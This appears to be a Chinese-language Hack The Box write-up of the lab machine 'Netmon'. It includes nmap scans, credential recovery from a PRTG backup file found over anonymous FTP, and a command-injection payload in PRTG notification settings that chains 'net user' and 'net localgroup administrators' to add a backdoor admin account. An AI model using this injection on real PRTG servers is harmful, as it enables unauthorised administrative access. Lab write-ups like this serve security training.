hack the box Netmon:又学到个新姿势,也是很无语的一台机器。
nmap -sV -sC 10.10.10.152 -Pn -T5
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-29 23:17 中国标准时间
Nmap scan report for 10.10.10.152
Host is up (1.5s latency).
Not shown: 788 closed tcp ports (reset), 207 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: PRTG/18.1.37.13946
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-03-29T15:17:21
|_ start_date: 2022-03-29T15:16:01
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2s, deviation: 0s, median: -2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.22 seconds
PS C:\Users\World'sEnd>
PS C:\Users\World'sEnd> nmap -sV -sC 10.10.10.152 -Pn -T5
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-29 23:25 中国标准时间
Warning: 10.10.10.152 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.152
Host is up (0.47s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-server-header: PRTG/18.1.37.13946
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-03-29T15:25:54
|_ start_date: 2022-03-29T15:16:01
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -2s, deviation: 0s, median: -3s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.77 seconds
FTP允许匿名登陆,点进去看看:
本能的先随机一波共享名 c$ ADMIN$,丝毫面子不给的都报错。
来回翻箱倒柜搜了一圈发现个像是密钥的 .rnd 但是打开是乱码也不知道什么用。点进Users除了管理员账户也没收集到个用户名。莫非用户叫public?别搞哈。但确实里边是有user.txt 用户flag。
然后还翻出本日志文件,看着像是在web端管理界面进行某些与系统交互的操作。但是POST方式看不到具体什么数据,有个netmon也不知道是个目录还是个用户名。
然后看一下smb 445端口有没有什么东西。Nmap没确定smb版本,拿Metasploit扫一下,有些意外小收获一个用户名:NETMON
然后对着密码框一阵瞎按,毫无进展,键盘耐久 - n 。索性直接用Metasploit后台smb登陆爆破去了,爆到我忘了后来用Metaspolit切换过来才想起来底部依旧没爆出来。
那就只能http 80端口下手了呀,点进去一个登陆页面,平平无奇,默认口令、弱口令、SQL、还抓包瞅了瞅有没有XML,都没什么结果,不过起码知道了是个PRTG。
用Metasploit搜了一下有这么个玩意儿的RCE,也就这一个:
具体适用版本信息也没说,估摸着是PRTG官方觉得不算是一个漏洞的漏洞。顺带还能告诉设备默认口令prtgadmin虽然我早试过了,但是这份Metasploit官方细节暖啊。不过没成功。提示错误信息便是web认证失败,还是得要口令。
然后便是悟到能用在内网的新姿势。
回到FTP继续翻,瞅着这目录,脑门一个念头:这不C盘根目录嘛。
C盘根目录是有隐藏目录的,而且它的界面基本上该有的都有,我就寻思着是不是直接把整个C盘都共享了。
然后就尝试访问目标主机的隐藏目录。好消息:目录有很多。坏消息:够翻一钟头。
最后是在ftp://10.10.10.152/ProgramData/Paessler/PRTG%20Network%20Monitor/翻出来一个.bak。修改日期记一下,要考的。
里边保存了有账户口令:
然后去登陆web,也是最无语的地方,输入进去居然错了,然后看到它2018的备份,2019的机器,是不是2019啊,也试了,错了,莫非机器还一直更新?我还试了今年,也错了。2021 2020 都错了。一直怀疑我自己是不是漏掉忘复制了什么,实在熬不住了,去看了眼write-up,发现就是2019啊。然后我重置了一下,它2019进去了 我****一晚时间飞了。
然后开始在仪表盘进行信息挖掘,来回点着看,点到用户组,发现孤零零的一个管理员账户,像极了ftp共享目录中在Users一个孤零零的只有public作伴的 Administrator 目录。然后我就在想这是不是联动的呀。
在找能联动的地方,然后意外的在设置 > 帐户设置 > 通知 里找到了 命令注入点。
该设备仪表盘提供了两个默认文件,一个bat一个powershell脚本,但是没什么关系,主要是第二个选项,由我们来给文件提供命令参数。就和我们日常终端里的 “工具 - 参数” 一样的嘛。也就是说它这里的设置就等同于在命令行里敲:
Demo exe notification - outfile.ps1 - 参数
那就可以构造payload试试了,本来 想直接构造nc反弹shell的,先通过wget给它传个nc,后来想想我不知道它目录。算了,创建个用户并添加到管理员组。
test.txt;net user worldisend ItryTohackY0u! /add;net localgroup administrators worldisend /add
起初我以为不成功,但是后来才发现是需要点时间的。等过会儿会弹个创建成功的英文消息弹窗,然后就获取到可以登录目标机器的账户。
其实Metasploit中的RCE也是这样的,不过它干净利落 自动化省事的多。设置好正确的口令就可以一键获取Meterpreter会话。而且返回的shell是system级别的。
然后到管理员桌面拿root flag: